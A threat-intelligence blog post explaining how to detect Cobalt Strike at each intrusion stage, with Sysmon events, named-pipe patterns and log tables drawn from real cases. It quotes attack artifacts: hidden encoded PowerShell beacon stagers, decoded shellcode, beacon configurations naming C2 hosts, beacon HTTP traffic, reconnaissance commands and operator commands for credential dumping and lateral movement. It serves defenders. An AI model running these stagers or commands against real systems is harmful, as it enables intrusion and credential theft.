

Cobalt Strike, a Defender's Guide

By editor

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Intro

In our research, we expose adversarial Tactics, Techniques and Procedures (TTPs) as well as the tools they use to execute their mission objectives. In most of our cases, we see the threat actors utilizing Cobalt Strike. Therefore, defenders should know how to detect Cobalt Strike in various stages of its execution. The primary purpose of this post is to expose the most common techniques that we see from the intrusions that we track and provide detections. Having said that, not all of Cobalt Strike's features will be discussed.

As you have noticed from our reporting so far, Cobalt Strike is used as a post-exploitation tool with various malware droppers responsible for the initial infection stage. Some of the most common droppers we see are IcedID (a.k.a. BokBot), ZLoader, Qbot (a.k.a. QakBot), Ursnif, Hancitor, Bazar and TrickBot. Cobalt Strike is chosen for the second stage of the attack as it offers enhanced post-exploitation capabilities. Threat actors turn to Cobalt Strike for its ease of use and extensibility.

Thanks to [@Kostastsale](#) for helping put this guide together!

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Cobalt Strike Capabilities

Cobalt Strike has many features, and it is under constant development by a team of developers at [Core Security](#) by Help Systems. Raphael Mudge was the primary maintainer for many years before the acquisition from Core Security. Raphael has an [extensive playlist on youtube](#) that demonstrates the many features of Cobalt Strike and step-by-step guides on how to use its full potential. His videos are handy to watch if you want to get a glimpse of

all the features that Cobalt Strike has to offer in various phases of the intrusion. Below are some of the capabilities that we see being used by operators. This is not an exhaustive list of commands available, but it contains most of the built-in features that we encounter in most cases. In the table below, the “Documented Features” correspond to the Cobalt Strike execution commands via the interactive shell as per official [documentation](#):


Capabilities	Documented features/commands
Upload and Download payloads and files	Download <file> Upload <file>
Running Commands	shell <command> run <command> powershell <command>
Process Injection	inject <pid> dllinject <pid> <i>(for reflective dll injection)</i> dllload <pid> <i>(for loading an on-disk DLL to memory)</i> spawnto <arch> <full-exe-path> <i>(for process hollowing)</i>
SOCKS Proxy	socks <port number>
Privilege Escalation	getsystem <i>(SYSTEM account impersonation using named pipes)</i> elevate svc-exe [listener] <i>(creates a services that runs a payload as SYSTEM)</i>
Credential and Hash Harvesting	hashdump logonpasswords <i>(Using Mimikatz)</i> chromedump <i>(Recover Google Chrome passwords from current user)</i>

Network Enumeration	<code>portscan [targets] [ports] [discovery method]</code> <code>net <commands> (commands to find targets on the domain)</code>
Lateral Movement	<code>jump psexec (Run service EXE on remote host)</code> <code>jump psexec_psh (Run a PowerShell one-liner on remote host via a service)</code> <code>jump winrm (Run a PowerShell script via WinRM on remote host)</code> <code>remote-exec <any of the above> (Run a single command using the above methods on remote host)</code>

Cobalt Strike Infrastructure

Changing infrastructure will always be inconvenient for the threat actors, but it is not a difficult task. Additionally, Cobalt Strike is able to make use of “redirectors.” Therefore, some of these servers could be a redirector instead of the actual Cobalt Strike C2 server. [Redirectors](#) are hosts that do what the name implies, redirect traffic to the real C2 server. Threat actors can hide their infrastructure behind an army of redirectors and conceal the actual C2 server. This makes the malicious infrastructure harder for the defenders to discover and block.

Image taken from the [official](#) cobalt strike documentation:



Our Threat Feed service tracks hundreds of Cobalt Strike servers and other C2 infrastructure. More information on this service and others can be found [here](#).

Owner org	ID	Clusters	Tags	#Attr.	#Corr.	Creator user	Date	Info
	? 630		Metasploit Threat Feed	638	32			Metasploit Infrastructure
	? 627		Cobalt Strike Threat Feed	3838	2017			Cobalt Strike Infrastructure Low
	? 626		Cobalt Strike Threat Feed	2197	1957			Cobalt Strike Infrastructure High
	✓ 4534		Icedid Threat Feed Threat Feed: Test Feed	77	3			IcedID C2
	✓ 5364		Bazar Threat Feed: Test Feed	130	4			BazarLoader Infrastructure
	✓ 4535		Meterpreter Threat Feed Threat Feed: Test Feed	69	17			Meterpreter C2
	? 631		PoshC2 Threat Feed	14	1			PoshC2 Infrastructure
	? 617		Qbot/Qakbot Threat Feed	241	29			Qbot/Qakbot Infrastructure
	? 632		Empire Threat Feed	20	4			Empire Infrastructure
	? 629		Covenant Threat Feed	52	9			Covenant Infrastructure
	? 1488		Meterpreter Threat Feed	2	2			Meterpreter Stagers Infrastructure
	✓ 633		Trickbot Threat Feed	29	2			Trickbot Infrastructure

Malleable C2 profiles

Cobalt Strike has adopted Malleable profiles and allows the threat actors to customize almost every aspect of the C2 framework. This makes life harder for defenders as the footprint can change with each profile modification. The threat actors have the ability to change anything from the network communication (like user agent, headers, default URIs) to individual post-exploitation functions such as process injection and payload obfuscation capabilities.

Across many of our investigations the profiles used differ, but you can see that actors do often reuse or pattern emerge among intrusion like in the following 3 cases:

1. [Bazar Drops the Anchor](#) – March 8, 2021
2. [Bazar No Ryuk](#) – January 31, 2021
3. [TrickBot still alive and well](#) – January 11, 2021

All the above intrusions made use of the same profile that mimics a legitimate jquery request. The self-signed certificates for intrusions 2 and 3 also contained the same fake attributes trying to pose as regular jquery traffic. Common Cobalt Strike config:

```
| grab_beacon_config:
| x86 URI Response:
```

```
| BeaconType: 0 (HTTP)
| Port: 80
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: 195.123.217.45,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
| Spawnto_x86: %windir%\syswow64\dllhost.exe
| Spawnto_x64: %windir%\sysnative\dllhost.exe
| Proxy_AccessType: 2 (Use IE settings)
|
|
| x64 URI Response:
| BeaconType: 0 (HTTP)
| Port: 80
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: 195.123.217.45,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
| Spawnto_x86: %windir%\syswow64\dllhost.exe
| Spawnto_x64: %windir%\sysnative\dllhost.exe
| Proxy_AccessType: 2 (Use IE settings)
|_
443/tcp open https
| grab_beacon_config:
| x86 URI Response:
| BeaconType: 8 (HTTPS)
| Port: 443
| Polling: 45000
| Jitter: 37
```

```
| Maxdns: 255
| C2 Server: gloomix.com,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
| Spawnto_x86: %windir%\syswow64\dllhost.exe
| Spawnto_x64: %windir%\sysnative\dllhost.exe
| Proxy_AccessType: 2 (Use IE settings)
|
|
| x64 URI Response:
| BeaconType: 8 (HTTPS)
| Port: 443
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: gloomix.com,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
| Spawnto_x86: %windir%\syswow64\dllhost.exe
| Spawnto_x64: %windir%\sysnative\dllhost.exe
| Proxy_AccessType: 2 (Use IE settings)
|_
```

Examples of malleable C2 profiles can be found on [the official GitHub repository](#) of Raphael Mudge. There are a number of GitHub repositories that allow for generation of randomized malleable profiles. These randomized profiles could be either based on completely random values or values based on an existing collection of existing malleable profiles. Two of the most notable repos are:

- Malleable-C2-Randomizer <https://github.com/bluscreenofjeff/Malleable-C2-Randomizer>
- C2concealer – <https://github.com/FortyNorthSecurity/C2concealer>

domain name, Watermark, or other aforementioned configuration values. Other than certain internal fields, most Beacon configuration fields are customizable via a Malleable C2 profile.” – [Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop.](#)

Cobalt Strike in Action

Execution

A lot of the Cobalt Strike post-exploitation tools are implemented as windows DLLs. This means that every time a threat actor runs these built-in tools, Cobalt Strike spawns a temporary process and uses rundll32.exe to inject the malicious code into it and communicates the results back to the beacon using named pipes. Defenders should pay close attention to command line events that rundll32 is executing without any arguments.

Example execution:

EventCode	Time	ParentImage	OriginalFileName	Image	CommandLine	TargetImage	TaskCategory
1	00:28:09	C:\Windows\System32\rundll32.exe	RUNDLL32.EXE	C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe		Process Create (rule: ProcessCreate)
17	00:28:09	Cobalt Strike Beacon		C:\Windows\System32\rundll32.exe			Pipe Created (rule: PipeEvent)

EventCode	17
EventType	4
	CreatePipe
Image	C:\Windows\system32\rundll32.exe
Keywords	None
LogName	Microsoft-Windows-Sysmon/Operational
Message	Pipe Created: RuleName: - EventType: CreatePipe l
OpCode	Info
PipeName	\postex_e231
ProcessGuid	{45DFFDA0-4F16-60C5-3F08-000000000800}
ProcessId	7416
RecordNumber	1213908
RuleName	-
Sid	S-1-5-18
SidType	0
SourceName	Microsoft-Windows-Sysmon
TaskCategory	Pipe Created (rule: PipeEvent)

Named pipes are used to send the output of the post-exploitation tools to the beacon. Cobalt Strike is using default unique pipe names, which defenders can use for detection. However, Cobalt Strike allows the operators to change the name of the pipes to any name of their choosing by configuring the malleable C2 profile accordingly. Even though this is very easy to create, it is an inconvenience for the average attacker, and we do not see it being done

often. For more information Cobalt Strike has an extensive documentation on named pipes [here](#). The default Cobalt Strike pipes are (the “*” symbolize the prefix/suffix):

- \postex_*
- \postex_ssh_*
- \status_*
- \msagent_*
- \MSSE-*
- *-server

Sysmon event 17 and 18 are able to log named pipes. Note that Sysmon should be explicitly configured to log named pipes. F-Secure Labs created a great write up for detecting Cobalt Strike through named pipes: [Detecting Cobalt Strike Default Modules via Named Pipe Analysis](#).

Additionally, we commonly see three methods regularly used by threat actors to download and execute the Cobalt Strike beacon.

1. Using PowerShell to load and inject shellcode directly into memory

Encrypted PowerShell command with embedded Cobalt Strike SMB beacons from the report: [From word to lateral movement in 1 hour](#).

data.win.system.channel	data.win.eventdata.serviceName	data.win.eventdata.imagePath	data.win.eventdata.accountName
System	224dc3	%COMSPEC% /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBIAHCLQBPAIagBIAGMAGaAgaEKATwUaEA0Z0BIAg8cB5AFMAd ABYjGULY0BICAgALABsEMAbwBUAHYAZ0ByAHQXQX6AD0aRgByAG8ADQBCACgAcwBIADYANBTAHQcBpAg4AZW0aCIIA3A0AHMA50BBEEAQ0BBEEAQ QBBEEAQ0BLADEAVwBIAFgUABHAE8AgBEEAcSABADYARgBQAG0AVABHAKAABRAG8AQW8KAG8AYQBIAHAATwB8ADgBwADADUASDBEAFEDQBLAFMAD ABSAEKQWBIeWwABDDEEAcwBJADgKcWBIHAHAkKwACBAdgA1AFcATgBLAGIAMABHAG0ANQhYADUAKQ83AHCVA8KAGQACBKADcAVAS3ADcAWBLADQcW BLAGcA8QBKAEYADw2AFIAZgBZADUAVABWAEgAqQBHEKAbgBDADUAA44ADUAgB1AGQATQBHAE4AKQBXADYALgBcACAMQBUEIETg2AFIASwBWHQADAB aAGCAGABAEAgA1AGCAGABNAF0ADABIADEAQgBHAHQAg5A5H0WgWwAE0AcwBjAEIAGcBwEaAQ0BHFACATQB8AFcAMwBBADQW8B6AGEAUJABFAFEAWB8A FMAtwR4FD0VDRPFAF0AbhRkAGdAIwRSAGIAbwR8AGDz7WR8ADnANAA4AFwT0wAFKAgR9AFcAVOR0AG4AR0A3AGcAS0R7ADAAIwRkAFAMwRHMAMeOR	LocalSystem
System	498e1d3	%COMSPEC% /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBIAHCLQBPAIagBIAGMAGaAgaEKATwUaEA0Z0BIAg8cB5AFMAd ABYjGULY0BICAgALABsEMAbwBUAHYAZ0ByAHQXQX6AD0aRgByAG8ADQBCACgAcwBIADYANBTAHQcBpAg4AZW0aCIIA3A0AHMA50BBEEAQ0BBEEAQ QBBEEAQ0BLADEAVwBIAFgUABHAE8AgBEEAcSABADYARgBQAG0AVABHAKAABRAG8AQW8KAG8AYQBIAHAATwB8ADgBwADADUASDBEAFEDQBLAFMAD ABSAEKQWBIeWwABDDEEAcwBJADgKcWBIHAHAkKwACBAdgA1AFcATgBLAGIAMABHAG0ANQhYADUAKQ83AHCVA8KAGQACBKADcAVAS3ADcAWBLADQcW BLAGcA8QBKAEYADw2AFIAZgBZADUAVABWAEgAqQBHEKAbgBDADUAA44ADUAgB1AGQATQBHAE4AKQBXADYALgBcACAMQBUEIETg2AFIASwBWHQADAB aAGCAGABAEAgA1AGCAGABNAF0ADABIADEAQgBHAHQAg5A5H0WgWwAE0AcwBjAEIAGcBwEaAQ0BHFACATQB8AFcAMwBBADQW8B6AGEAUJABFAFEAWB8A FMAtwR4FD0VDRPFAF0AbhRkAGdAIwRSAGIAbwR8AGDz7WR8ADnANAA4AFwT0wAFKAgR9AFcAVOR0AG4AR0A3AGcAS0R7ADAAIwRkAFAMwRHMAMeOR	LocalSystem
System	a08e7b3	%COMSPEC% /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBIAHCLQBPAIagBIAGMAGaAgaEKATwUaEA0Z0BIAg8cB5AFMAd ABYjGULY0BICAgALABsEMAbwBUAHYAZ0ByAHQXQX6AD0aRgByAG8ADQBCACgAcwBIADYANBTAHQcBpAg4AZW0aCIIA3A0AHMA50BBEEAQ0BBEEAQ QBBEEAQ0BLADEAVwBIAFgUABHAE8AgBEEAcSABADYARgBQAG0AVABHAKAABRAG8AQW8KAG8AYQBIAHAATwB8ADgBwADADUASDBEAFEDQBLAFMAD ABSAEKQWBIeWwABDDEEAcwBJADgKcWBIHAHAkKwACBAdgA1AFcATgBLAGIAMABHAG0ANQhYADUAKQ83AHCVA8KAGQACBKADcAVAS3ADcAWBLADQcW BLAGcA8QBKAEYADw2AFIAZgBZADUAVABWAEgAqQBHEKAbgBDADUAA44ADUAgB1AGQATQBHAE4AKQBXADYALgBcACAMQBUEIETg2AFIASwBWHQADAB aAGCAGABAEAgA1AGCAGABNAF0ADABIADEAQgBHAHQAg5A5H0WgWwAE0AcwBjAEIAGcBwEaAQ0BHFACATQB8AFcAMwBBADQW8B6AGEAUJABFAFEAWB8A FMAtwR4FD0VDRPFAF0AbhRkAGdAIwRSAGIAbwR8AGDz7WR8ADnANAA4AFwT0wAFKAgR9AFcAVOR0AG4AR0A3AGcAS0R7ADAAIwRkAFAMwRHMAMeOR	LocalSystem
System	d9ae608	%COMSPEC% /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBIAHCLQBPAIagBIAGMAGaAgaEKATwUaEA0Z0BIAg8cB5AFMAd ABYjGULY0BICAgALABsEMAbwBUAHYAZ0ByAHQXQX6AD0aRgByAG8ADQBCACgAcwBIADYANBTAHQcBpAg4AZW0aCIIA3A0AHMA50BBEEAQ0BBEEAQ QBBEEAQ0BLADEAVwBIAFgUABHAE8AgBEEAcSABADYARgBQAG0AVABHAKAABRAG8AQW8KAG8AYQBIAHAATwB8ADgBwADADUASDBEAFEDQBLAFMAD ABSAEKQWBIeWwABDDEEAcwBJADgKcWBIHAHAkKwACBAdgA1AFcATgBLAGIAMABHAG0ANQhYADUAKQ83AHCVA8KAGQACBKADcAVAS3ADcAWBLADQcW BLAGcA8QBKAEYADw2AFIAZgBZADUAVABWAEgAqQBHEKAbgBDADUAA44ADUAgB1AGQATQBHAE4AKQBXADYALgBcACAMQBUEIETg2AFIASwBWHQADAB aAGCAGABAEAgA1AGCAGABNAF0ADABIADEAQgBHAHQAg5A5H0WgWwAE0AcwBjAEIAGcBwEaAQ0BHFACATQB8AFcAMwBBADQW8B6AGEAUJABFAFEAWB8A FMAtwR4FD0VDRPFAF0AbhRkAGdAIwRSAGIAbwR8AGDz7WR8ADnANAA4AFwT0wAFKAgR9AFcAVOR0AG4AR0A3AGcAS0R7ADAAIwRkAFAMwRHMAMeOR	LocalSystem

The PowerShell is base64 encoded. Decoding the PowerShell command, we are presented with the shellcode that will be pushed into memory.

```

Output
start: 346      time: 2ms
end: 368      length: 373
length: 22    lines: 1
üè...`.â10d.R0.R..R..R.(.J&1ÿ1À~<a|., ÅÏ
.ÇâðRW.R..B<.Ð.@x.ÂtJ.ÐP.H..X .0ã<I.4..0ÿ1À~ÅÏ
.Ç8âu0.}
ø;}$uâX.X$.Óf..K.X..Ó...Ð.D$${[aYzQÿàX.Z..ë.1lAj@h...hÿÿ..j.hX$SâÿÏPé"...Z1ÉQqh
.°.h.°.j.j.j.RhEpB0ÿÏP..$j.Rh(o)
âÿÏ.Âtnj.j.j.æ.Æ..â.Ã..|$.j.Vj.RWh..»ÿÏ.T$.j.Vh.
.RWh..»ÿÏ.Ât..L$.$.É..$.T$. .Ãëx.|$.WhÁúÿÿÏWhÆ..RÿÏ..$.L$.9Át.hðmçVÿÏÿd$.èSÿÿ
ÿ\\.\pipe\halfduplex_9e.^.x.

```

For a detailed analysis of this PowerShell stager, you can checkout the helpful blog post from @Paulsec4 [here](#).

2. Download to disk and execute manually on the target

In the example below, you can see the TrickBot process downloading to disk, and then loading the beacon into memory.

Action Type	Initiating Process Command Line	Process Command Line	File Name
FileCreated	wormgr.exe TrickBot		tdrE934.exe
ImageLoaded	"tdrE934.exe" Cobalt Strike Beacon		tdrE934.exe
ProcessCreated	wormgr.exe	"tdrE934.exe"	

The event IDs in this case for Sysmon logs are:

- 11 – File Creation
- 7 – Image Loaded
- 1 – Process Creation
- 3 – Network Connection

And for windows Security logs:

- 4663 – File Creation
- 4688 – Process Creation (*Command Line logging should be explicitly configured as it is not on by default*)
- 5156 – Network Connection

A recent example of this activity can be found in one of our latest reports [Hancitor Continues to Push Cobalt Strike](#), where the malicious Hancitor injected process(svchost.exe) downloaded the Cobalt Strike DLL beacon to disk and then proceeded with allocating a new memory region inside the current rundll32.exe process and loaded it into the memory.


Initiating process creation time	Initiating process file name	Initiating process parent file name	action_type	Initiating process id	Initiating process parent id
5/20/2021 4:08:53 PM	rundll32.exe	svchost.exe	NtAllocateVirtualMemoryApiCall	7,908	6,748
5/20/2021 4:07:51 PM	rundll32.exe	svchost.exe	NtAllocateVirtualMemoryApiCall	948	2,024
5/20/2021 4:07:51 PM	rundll32.exe	svchost.exe	NtAllocateVirtualMemoryRemoteApiCall	948	2,024
5/20/2021 4:08:01 PM	rundll32.exe	svchost.exe	NtAllocateVirtualMemoryApiCall	4,944	6,748
5/20/2021 4:08:01 PM	rundll32.exe	svchost.exe	NtAllocateVirtualMemoryRemoteApiCall	4,944	6,748

Hancitor

Initiating Process Command Line	Initiating Process Parent File Name	Local Port	Remote IP	Remote Port
c:\programdata\95.dll)1stSec 11985756	rundll32.exe	59,347	162.244.83.95	8,088

3. Executing the beacon in memory via the initial malware infection

This case is a little bit more difficult to capture, thankfully, we have plenty of examples from our reporting to demonstrate the execution flow. Below is an example from the case [Sodinokibi \(aka REvil\) Ransomware](#). IcedID reached out to two Cobalt Strike servers to download and execute the beacons in memory:



Defense Evasion

In every intrusion, we see [process injection](#) taking place across the environment. It is mainly used to inject malicious code into a remote process and inject it into lsass.exe to extract credentials from memory. By injecting the malicious payload into a remote process, the threat actors are spawning a new session in the user context that the injected process belongs to. There are many ways in which process injection can be used. You can check out a helpful post by [Boschko](#) that goes through all the various methods that Cobalt Strike uses.

Detect the Cobalt Strike default process injection with Sysmon by looking for the below EIDs in consecutive order:

- 10 – Process accessed
- 8 – CreateRemoteThread detected
- 3/22 – Network query/DNS query

Example process injection on remote process (RuntimeBroker.exe):

EventCode	Image	TargetImage	TaskCategory
10		C:\Windows\System32\RuntimeBroker.exe	Process accessed (rule: ProcessAccess)
8		C:\Windows\System32\RuntimeBroker.exe	CreateRemoteThread detected (rule: CreateRemoteThread)
22	C:\Windows\System32\RuntimeBroker.exe		Dns query (rule: DnsQuery)

There are other ways to detect this activity. In other methods of process injection, such as process hollowing, EID 8 will not be present. Unfortunately, it is very difficult to detect this process injection activity via security windows logs without Sysmon to monitor for the event IDs above.

An example from the Sodinokibi report, multiple process injections across the environment using Cobalt Strike Beacons (Sysmon EID 8):

```
✓ "CreateRemoteThread detected:  
RuleName: technique_id=T1055,technique_name=Process Injection  
UtcTime:  
SourceProcessGuid: {46d5468e-bb44-604f-8219-00000000e00}  
SourceProcessId: 4208  
SourceImage: C:\Windows\SysWOW64\rundll32.exe  
TargetProcessGuid: {46d5468e-4969-6047-1c00-00000000e00}  
TargetProcessId: 1412  
TargetImage: C:\Windows\System32\svchost.exe  
NewThreadId: 3996  
StartAddress: 0x0000000003D0003  
StartModule: -  
StartFunction: -"
```

Discovery

In every Cobalt Strike occasion that we report, we see threat actors executing reconnaissance commands with the help of the “shell” command. The commands are based on native windows utilities such as nltest.exe, whoami.exe, and net.exe to help with discovery. Red Canary has a detailed article which goes through the reasons that adversaries use native windows tools for domain trust discovery, that article can be found [here](#). Below are some recent examples from the Conti infection; however, these commands remain consistent with other intrusions we track.

Conti operators executing reconnaissance commands through Cobalt Strike:

Initiating Process File Name	Process Command Line
icju1.exe	cmd.exe /C whoami /groups
icju1.exe	cmd.exe /C query session
icju1.exe	cmd.exe /C dir %HOMEDRIVE%%HOMEPATH%
icju1.exe	cmd.exe /C nltest /domain_trusts
icju1.exe	cmd.exe /C nltest /dclist:
icju1.exe	cmd.exe /C net group "Enterprise admins" /domain
icju1.exe	cmd.exe /C net group "Domain admins" /domain

The most used tools for discovery purposes that threat actors are dropping with the help of Cobalt Strike are AdFind and BloodHound. [Adfind](#) is by far the most used among those two. It is also worth mentioning that PowerShell is also used for enumerating the network looking for interesting targets. When it comes to PowerShell, unmodified [PowerSploit](#) and [PowerView](#) modules are a very common method threat actors are using to collect information.

Privilege Escalation

The most common technique that threat actors use to obtain SYSTEM level privileges is the [GetSystem](#) method via named-pipe impersonation. Example execution on a target system as observed in the [TrickBot Still Alive and Well](#) report:

```

Process Create:
RuleName: technique_id-T1059.003,technique_name=Windows Command Shell
ProcessGuid: {f697f253-b6aa-5fe3-3402-00000000f00}
ProcessId: 3344
Image: C:\Windows\System32\cmd.exe

Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: cmd.exe
CommandLine: C:\Windows\system32\cmd.exe /c echo ff0fd3e9ca > \\.\pipe\1510ea
CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM

TerminalSessionId: 0
IntegrityLevel: System
Hashes: SHA1=805437C076A89EC983E3B364E219944D43D048464_MD5=975845866993880C773EAF28414206F_SHA256=3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a37854768482c9c8d32eaa2_IMPHASH=272245e2988e1e4385088852c4f85e18
ParentProcessGuid: {f697f253-b6aa-5fe3-3202-00000000f00}
ParentProcessId: 1880
ParentImage: C:\Windows\System32\wuauclt.exe
ParentCommandLine: C:\Windows\system32\WUAUCLT.exe
    
```

There are also other methods for elevating privileges with Cobalt Strike, such as using the “*elevate*” command. The elevate command uses two options to escalate privileges. The first one is the **svc-exe**. It attempts to drop an executable under “c:\windows” and creates a service to run the payload as SYSTEM. The second one is the **uac-token-duplication** method, which attempts to spawn a new elevated process under the context of a non-privileged user with a stolen token of an existed elevated process. However, as mentioned above, the most used method is the name pipe impersonation escalation via “*getsystem*” command. A detailed explanation can be found at the bottom of [this](#) Cobalt Strike official documentation page.

As you can see below, Sysmon generates a lot more logs related to the successful privilege escalation using the “*elevate svc-exe*” option. In this case, spoolsv.exe is the executable that was dropped by Cobalt Strike to run a payload.

Sysmon Event IDs:

- 11 – File Created

EventCode	_time	TargetFileName	Image	TaskCategory
11	2021-07-11 05:10:47	C:\Windows\spoolsv.exe	System	File created (rule: FileCreate)

Cobalt Strike planted executable to run as a service

- 1 – Process Create

EventCode	_time	ParentImage	ParentCommandLine	Image	CommandLine	TaskCategory
1	2021-07-11 05:10:48	\\127.0.0.1\ADMIN\spoolsv.exe	\\127.0.0.1\ADMIN\spoolsv.exe	C:\Windows\System32\cmd.exe	C:\Windows\System32\cmd.exe	Process Create (rule: ProcessCreate)


- 25 – Process tampering

EventCode	_time	Image	CommandLine	TaskCategory
25	2021-07-11 05:10:47	\\127.0.0.1\ADMIN\spoolsv.exe		Process Tampering (rule: ProcessTampering)
13	2021-07-11 05:10:47	C:\Windows\system32\services.exe		Registry value set (rule: RegistryEvent)

- 12 & 13 – Registry value set

Windows Event IDs:

- Service installation: 4697(Security) and 7045(System)



-
- Process Creation: 4688

EventCode	Creator_Process_Name	Process_Command_Line	process_path	category
4688	\\Device\Map127.0.0.1\ADMIN\$\spoolsv.exe	C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	Process Creation

Credential Access

After getting access to the target using Cobalt Strike, one of the first tasks that operators take is to collect credentials and hashes from LSASS. There are a couple of ways to achieve this with Cobalt Strike. The first one uses the “**hashdump**” command to dump password hashes; the second one uses the command “**logonpasswords**” to dump plaintext credentials and NTLM hashes with Mimikatz.

Here’s an example of accessing LSASS to steal credentials from memory using “**hashdump**” command in Cobalt Strike:

EventCode	Time	ComputerName	ParentProcess	ParentCommandLine	OriginalFileName	Image	CommandLine	TargetImage	TaskCategory
1	01:22:49		C:\Users\... Cobalt Strike Beacon	"C:\Users\... Cobalt Strike Beacon	RUNDLL32.EXE	C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	Process Create (rule: ProcessCreate)
10	01:22:49							C:\Windows\System32\rundll32.exe	Process accessed (rule: ProcessAccess)
17	01:22:49							C:\Windows\System32\rundll32.exe	Pipe Created (rule: PipeEvent)
10	01:22:49							C:\Windows\System32\lsass.exe	Process accessed (rule: ProcessAccess)
8	01:22:49							C:\Windows\System32\lsass.exe	CreateRemoteThread detected (rule: CreateRemoteThread)

Sysmon EIDs 1,8,10,17:(Event ID 8 will not always be present depending on the technique used.)

As you can see below, the only Event IDs that we manage to capture using this technique are process creation and process termination events.

- 4688 – Process Creation (Rundll32.exe is loading the DLL payload upon execution)
- 4689 – Process Termination

EventCode	category	Time	Creator_Process_Name	Process_Command_Line	process_path
4688	Process Creation	2021-07-11 06:39:21	C:\Users\... Cobalt Strike beacon	C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe
4689	Process Termination	2021-07-11 06:39:22	Cobalt Strike beacon		

We have also seen [Lazagne](#) being used on two [occasions](#) to extract credentials from various applications on the target system.

Cobalt Strike has implemented the DCSync functionality as introduced by [mimikatz](#). DCSync uses windows APIs for Active Directory replication to retrieve the NTLM hash for a specific user or all users. To achieve this, the threat actors must have access to a privileged account with domain replication rights (usually a Domain Administrator). By running the [DCSync](#) command, threat actors attempt to masquerade as a domain controller to sync with another domain controller to collect credentials.

Command and Control

Cobalt Strike is using GET and POST requests to communicate with the C2 server. The threat actors can choose between HTTP, HTTPS and DNS network communication. When it comes to C2, we typically see HTTP and HTTPS beacons. By default, Cobalt Strike will use GET requests to retrieve information and POST requests to send information back to the server. As explained above, all the default configurations can change with the use of malleable profiles. Even though we don't see this very often, the beacon could also be configured to send back information with GET requests in small chunks. If you want a deep dive into detecting Cobalt Strike CnC, this [article](#) from UnderDefense is a great resource.

The metadata is encrypted with a public key that is injected into the beacon.

“Example of a get request from our latest ransomware report on [Conti](#)“

```
GET /bg HTTP/1.1
Accept: */*
Host: dimentos.com
Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
Cookie: S5ID=flsbegsFD0VB1/1+MHTXZVUH4G9l6uTlboXugn5+7e7K7fVw3bg10xhSPWRdTNkAxabp7M1CS7Kb57kr9syMh0R1fB9JeeqMGZlYiy9W/yC8xezvp3AexywhTcht/6ppEdwBR1J6HhbzThc/lrj2J38obZl/0g65dam1c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
Connection: Close
Cache-Control: no-cache
```

“Results of executed commands are sent to the server using POST requests.”

```
POST /btn_bg HTTP/1.1
Accept: */*
Host: dimentos.com
Content-Type: application/x-www-form-urlencoded
Cookie: _session_id=NTLM0h4w4y2M9=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
Content-Length: 199
Connection: Close
Cache-Control: no-cache
paper=yWfYwFhZwFqz21ib2lvbG1ncG5mZGtbtmdpY2hhbnNsbmZjZGhta3B1bmFhbWVjZW5mZGZlYWlqam9ub3B1b2p1ZW5mY2xtZmRnY25mb2huZGxsZWlhYm9sYWZ1bmZuZmVlbnBpLnBpvaGqbWpZGxsZjJicG5sanB1ZmRoGVhZWdmZWticHBoZGm=
```

Lateral Movement

Once Cobalt Strike beacons are established, usually minutes later, we see operators moving laterally on servers of interest inside the network. Even though they are generally fast at picking their targets, we infer that their decisions are based on the results from the discovery phase. According to our reporting, the most frequent techniques that attackers use for pivoting are:

- **SMB/WMI executable transfer and exec**
- **Pass the Hash**
- **RDP**
- **Remote service execution**

Cobalt Strike can facilitate all the above techniques and even RDP using SOCKS proxy.

- **SMB/WMI executable transfer and exec**

According to our telemetry, this method is used the most by threat actors. We see them uploading their executable to their desired host with the “upload” Cobalt Strike command and execute it using the “remote-exec” command as documented in the capabilities section above but it can use psexec, winrm or wmi to execute a command and/or a beacon.

This is what we see when the beacon is uploaded using the upload command.


```

SMB 127 Negotiate Protocol Request
SMB2 306 Negotiate Protocol Response
SMB2 270 Negotiate Protocol Request
SMB2 366 Negotiate Protocol Response
SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE
SMB2 390 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
